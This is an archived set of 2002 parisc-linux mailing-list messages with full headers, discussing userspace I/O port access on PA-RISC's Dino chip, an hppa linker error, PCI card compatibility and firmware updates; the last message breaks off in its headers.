>> tulip-diag.c:1347:24: warning: multi-line string literals are
>> deprecated
>> 
>> On ia64, sys/io.h comes from gsyprf3:~# dpkg -S sys/io.h
>> libc6.1-dev: /usr/include/sys/io.h
>> 
>> But we don't have the equivalent for parisc (hppa).  Ideas?

Randolph> ISTR this has to do with the fact that we do not want
Randolph> to/cannot expose the {in,out}[bwl] primitives to
Randolph> userspace. Is the tulip-diag program trying to write to port
Randolph> space directly?

You really should support it similar to what we do on
ia64. Ie. there's a Linux API here that allows you to map 'I/O' ports
and access them. Basing the code on what's in the ia64 glibc tree
would make it quite easy to get it up and running.

Jes



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The compiler failed to link application, request for help
Date: Tue, 25 Jun 2002 12:24:13 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <200206251624.g5PGODww009592@hiauly1.hia.nrc.ca>
References: <3D1894AA.6020504@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621433 9346 80.91.229.3 (22 Nov 2014 01:57:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: raffo@neuronet.pitt.edu (Rafael E. Herrera)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 10:24:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9C8C484A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 10:24:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5PGOEFN009594;
	Tue, 25 Jun 2002 12:24:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5PGODww009592;
	Tue, 25 Jun 2002 12:24:13 -0400 (EDT)
In-Reply-To: <3D1894AA.6020504@neuronet.pitt.edu> from "Rafael E. Herrera" at Jun 25, 2002 12:04:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15217

> In trying to compile a utility here, I end up with a linker error:
> 
> $ gcc -w -o pvmtalk pvmtalk.o dom_x.o usleep.o 
> -L/home/neuro/contrib/pvm3.3.11/lib/LINUX -lpvm3 -lgpvm3 
> -L/usr/X11R6/lib ../xvertext.5.0/libXrot.a -lX11 -lm
> /home/neuro/contrib/pvm3.3.11/lib/LINUX/libpvm3.a(lpvm.o): In function 
> `pvmbeatask':
> lpvm.o(.text+0x29cf): the use of `tmpnam' is dangerous, better use `mkstemp'
> /usr/bin/ld: can not size stub section: Bad value
> /usr/bin/ld: BFD 2.12.90.0.1 20020307 Debian/GNU Linux internal error, 
> aborting at ../../bfd/elf32-hppa.c line 4038 in elf32_hppa_relocate_section
> 
> /usr/bin/ld: Please report this bug.
> 
> collect2: ld returned 1 exit status
> 
> We have gcc 3.0.4. The sources compile with just some warnings.
> 
> Can someone offer any suggestion as to what this means and how we can 
> solve it?

Usually, in this type of error, there is a message just prior to the "size
stub section" message about a symbol that is too far to perform the required
relocation.  It may help to compile your objects with optimization (e.g, -O2)
and/or use the "-ffunction-sections" compilation option.  There is a bug in
gcc 3.0.4 regarding the type of branch used for long calls under hppa-linux.
This is fixed in 3.2, so as a last resort you might try building 3.2
(I would also use the current cvs source for binutils) and building
your package with it.

It's possible that your problem isn't the long call issue.  In that
case, you can try to debug it yourself or submit a report to the
binutils list.  However, there no longer is an active maintainer for
hppa problems since Alan Modra moved to ibm.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sys/io.h
Date: Tue, 25 Jun 2002 17:29:50 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020625172950.B32282@parcelfarce.linux.theplanet.co.uk>
References: <20020624150031.4DA034837@dsl2.external.hp.com> <20020624153959.GH812@tausq.org> <m3fzzbmiw8.fsf@trained-monkey.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621434 9352 80.91.229.3 (22 Nov 2014 01:57:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:14 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Jes Sorensen <jes@trained-monkey.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 10:29:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F0254851
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 10:29:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17MtCQ-0004cT-00; Tue, 25 Jun 2002 17:29:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <m3fzzbmiw8.fsf@trained-monkey.org>; from jes@trained-monkey.org on Tue, Jun 25, 2002 at 12:18:31PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15218

On Tue, Jun 25, 2002 at 12:18:31PM -0400, Jes Sorensen wrote:
> You really should support it similar to what we do on
> ia64. Ie. there's a Linux API here that allows you to map 'I/O' ports
> and access them. Basing the code on what's in the ia64 glibc tree
> would make it quite easy to get it up and running.

Um, we can't.  To do a port space access on Dino is:

acquire spin lock
write address to register
perform read or write access to a different register
release spin lock

i do hope you're not about to suggest emulating the proposed interface
by unmapping an address range and handling this in the fault handler

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] PCI hardware question
Date: Tue, 25 Jun 2002 12:25:52 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20020625182552.B625D4849@dsl2.external.hp.com>
References: <3D188431.1060804@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621434 9353 80.91.229.3 (22 Nov 2014 01:57:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: eddantes@wanadoo.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 12:25:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B625D4849; Tue, 25 Jun 2002 12:25:52 -0600 (MDT)
In-Reply-To: Message from eddantes@wanadoo.fr 
   of "Tue, 25 Jun 2002 16:54:41 +0200." <3D188431.1060804@wanadoo.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15219

eddantes@wanadoo.fr wrote:
> I'm planning to buy a second hand station at some point and have fun 
> with Linux, but in the documentation process, I discovered some stations 
> have problemw with PCI hardware.
> 
> The question is: which kind of PCI stuff is this? Regular, PC compatible 
> cards, or HP specific?

HP specific PCI Host bus adapter called Dino (aka GSCtoPCI).
See hwdb.parisc-linux.org to know which systems used it.
Some systems have been fixed with a newer rev of the Dino chip.
You can:
o update the PDC and install a PCI card
o boot parisc-linux
o or look for -0004 on the IO board

to figure out if the PCI is usable or not.
Only HP PCI graphics cards are permitted to be used in PCI
when a broken DINO rev is in the system. PDC revs higher
than about 5.x will enforce this.

Read comments in drivers/gsc/dino.c for more details.

grant



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sys/io.h
Date: Tue, 25 Jun 2002 12:33:55 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020625183355.91DD1484D@dsl2.external.hp.com>
References: <20020624150031.4DA034837@dsl2.external.hp.com> <20020624153959.GH812@tausq.org>  <m3fzzbmiw8.fsf@trained-monkey.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621434 9354 80.91.229.3 (22 Nov 2014 01:57:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:14 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Jes Sorensen <jes@trained-monkey.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 12:33:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 91DD1484D; Tue, 25 Jun 2002 12:33:55 -0600 (MDT)
In-Reply-To: Message from Jes Sorensen <jes@trained-monkey.org> 
   of "25 Jun 2002 12:18:31 EDT." <m3fzzbmiw8.fsf@trained-monkey.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15220

Jes Sorensen wrote:
> You really should support it similar to what we do on
> ia64. Ie. there's a Linux API here that allows you to map 'I/O' ports
> and access them. Basing the code on what's in the ia64 glibc tree
> would make it quite easy to get it up and running.

I don't think so. For two reasons:
a) ia64 maps the "iobase" address to user space
b) the ia64 method is fixed for the architecture on how
   to generate "legacy" IO port cycles (using iobase).

parisc has two different methods (dino vs elroy) and dino only
supports poking the PCI HBA to generate IO Port cycles.
Or am I over looking something?

grant



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@trained-monkey.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sys/io.h
Date: 25 Jun 2002 14:43:14 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <m3k7onjj25.fsf@trained-monkey.org>
References: <20020624150031.4DA034837@dsl2.external.hp.com> <20020624153959.GH812@tausq.org> <m3fzzbmiw8.fsf@trained-monkey.org> <20020625172950.B32282@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621435 9356 80.91.229.3 (22 Nov 2014 01:57:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:15 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 12:43:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EEFB484F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 12:43:15 -0600 (MDT)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.11.6/8.9.3) id g5PIhEo08038;
	Tue, 25 Jun 2002 14:43:14 -0400
In-Reply-To: Matthew Wilcox's message of "Tue, 25 Jun 2002 17:29:50 +0100"
Original-Lines: 22
X-Mailer: Gnus v5.7/Emacs 20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15221

>>>>> "Matthew" == Matthew Wilcox <willy@debian.org> writes:

Matthew> On Tue, Jun 25, 2002 at 12:18:31PM -0400, Jes Sorensen wrote:
>> You really should support it similar to what we do on
>> ia64. Ie. there's a Linux API here that allows you to map 'I/O'
>> ports and access them. Basing the code on what's in the ia64 glibc
>> tree would make it quite easy to get it up and running.

Matthew> Um, we can't.  To do a port space access on Dino is:

Matthew> acquire spin lock write address to register perform read or
Matthew> write access to a different register release spin lock

Matthew> i do hope you're not about to suggest emulating the proposed
Matthew> interface by unmapping an address range and handling this in
Matthew> the fault handler

Well then make it a syscall and do it in the kernel - yes it's not
pretty but if the architecture requires it then thats the way to get
around it.

Jes



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@trained-monkey.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sys/io.h
Date: 25 Jun 2002 14:46:27 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <m3hejrjiws.fsf@trained-monkey.org>
References: <20020624150031.4DA034837@dsl2.external.hp.com> <20020624153959.GH812@tausq.org> <m3fzzbmiw8.fsf@trained-monkey.org> <20020625172950.B32282@parcelfarce.linux.theplanet.co.uk> <m3k7onjj25.fsf@trained-monkey.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621435 9357 80.91.229.3 (22 Nov 2014 01:57:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:15 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 12:46:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from trained-monkey.org (trained-monkey.org [209.217.122.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E8974855
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 12:46:31 -0600 (MDT)
Original-Received: (from jes@localhost)
	by trained-monkey.org (8.11.6/8.9.3) id g5PIkRk08062;
	Tue, 25 Jun 2002 14:46:27 -0400
In-Reply-To: Jes Sorensen's message of "25 Jun 2002 14:43:14 -0400"
Original-Lines: 17
X-Mailer: Gnus v5.7/Emacs 20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15222

>>>>> "Jes" == Jes Sorensen <jes@trained-monkey.org> writes:

Jes> Well then make it a syscall and do it in the kernel - yes it's
Jes> not pretty but if the architecture requires it then thats the way
Jes> to get around it.

Let me elaborate:

When the hardware is evil as you described in your mail, then it has
to go by the kernel. However if you have multiple cases, like Grant
mentioned Elroy vs Dino? then glibc can do a test the first time the
operation is done and cache that in userland for next time a request
is done - ie. when you're running on the type of hw that can do it in
userland then you don't have to go by the kernel except for the first
time.

Jes



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eddantes@wanadoo.fr
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] PCI hardware question
Date: Tue, 25 Jun 2002 21:05:27 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <3D18BEF7.1060804@wanadoo.fr>
References: <3D188431.1060804@wanadoo.fr> <20020625182552.B625D4849@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621435 9358 80.91.229.3 (22 Nov 2014 01:57:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 12:59:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr [193.252.19.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D270F484E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Jun 2002 12:59:02 -0600 (MDT)
Original-Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto3.wanadoo.fr (6.5.007)
        id 3D1848E600063138; Tue, 25 Jun 2002 20:59:01 +0200
Original-Received: from wanadoo.fr (217.128.251.25) by mel-rta9.wanadoo.fr (6.5.007)
        id 3D11E5D6002B0287; Tue, 25 Jun 2002 20:59:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15223

Grant Grundler wrote:

[snip]

> HP specific PCI Host bus adapter called Dino (aka GSCtoPCI).
> See hwdb.parisc-linux.org to know which systems used it.
> Some systems have been fixed with a newer rev of the Dino chip.
> You can:
> o update the PDC and install a PCI card
> o boot parisc-linux
> o or look for -0004 on the IO board
> 
> to figure out if the PCI is usable or not.
> Only HP PCI graphics cards are permitted to be used in PCI
> when a broken DINO rev is in the system. PDC revs higher
> than about 5.x will enforce this.
> 
> Read comments in drivers/gsc/dino.c for more details.
> 
> grant


OK, thanks a lot for the precisions. I'll keep those infos in RAM when 
hunting down the perfect station. I am kind of tempted by a C240 or a 
C360, the latter being not as common as the former (at least on eBay, 
any other shop / surplus / auction site welcome), both have Dino. Well, 
that sounds like a PDC update.

One quick question about it: on on of HP's servers, it says that PDC 
updates must be performed using a tape drive. 
(ftp://ftp.itrc.hp.com/firmware_patches/hp/cpu/PF_CC2X0063.txt for the 
C200/C240) I guess tapes are not so common anymore, especially in 
workstations, even if I probably have an old SCSI DDT-1 or something 
like that lying around somewhere in my 
pile-of-junk-salvaged-to-repare-dead-computers. Any other way to do it? 
CD-R? Small empty HDD partition?

And at last, what about compatibility of PCI cards between different 
architectures? I'm wondering about it due to the different PC and Apple 
cards from some manufacturers (Adaptec and ATI, for example). The bottom 
line being: if I stick a PC-world USB 2.0 or whatever card in a C240, 
any chance that it *may* work, even if it requires software tweaking and 
/ or hacking?

Thanks again!
/Dantes




From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [OT] PCI hardware question
Date: Tue, 25 Jun 2002 13:47:11 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20020625194711.AEDD24851@dsl2.external.hp.com>
References: <3D188431.1060804@wanadoo.fr> <20020625182552.B625D4849@dsl2.external.hp.com>  <3D18BEF7.1060804@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621435 9360 80.91.229.3 (22 Nov 2014 01:57:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: eddantes@wanadoo.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 25 13:47:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AEDD24851; Tue, 25 Jun 2002 13:47:11 -0600 (MDT)
In-Reply-To: Message from eddantes@wanadoo.fr 
   of "Tue, 25 Jun 2002 21:05:27 +0200." <3D18BEF7.1060804@wanadoo.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15224

eddantes@wanadoo.fr wrote:
> One quick question about it: on on of HP's servers, it says that PDC 
> updates must be performed using a tape drive. 

Uhm...you can dd to a disk, boot from a network, or boot from a tape.
PDC updates are all available as lifimages.
lifimages are bootable from any media.

> CD-R? Small empty HDD partition?

both.

> And at last, what about compatibility of PCI cards between different 
> architectures? I'm wondering about it due to the different PC and Apple 
> cards from some manufacturers (Adaptec and ATI, for example). The bottom 
> line being: if I stick a PC-world USB 2.0 or whatever card in a C240, 
> any chance that it *may* work, even if it requires software tweaking and 
> / or hacking?

likely, but alot of things will "just work".
gfx are the least likely to work.

grant



From - Thu Nov 08 21:23:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rsync: unavailable again?
Date: Wed, 26 Jun 2002 14:06:46 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20020626120646.GI17216@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="J+eNKFoVC4T1DV3f"
X-Trace: ger.gmane.org 1416621436 9362 80.91.229.3 (22 Nov 2014 01:57:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 06:06:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 949EA4852
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 06:06:48 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
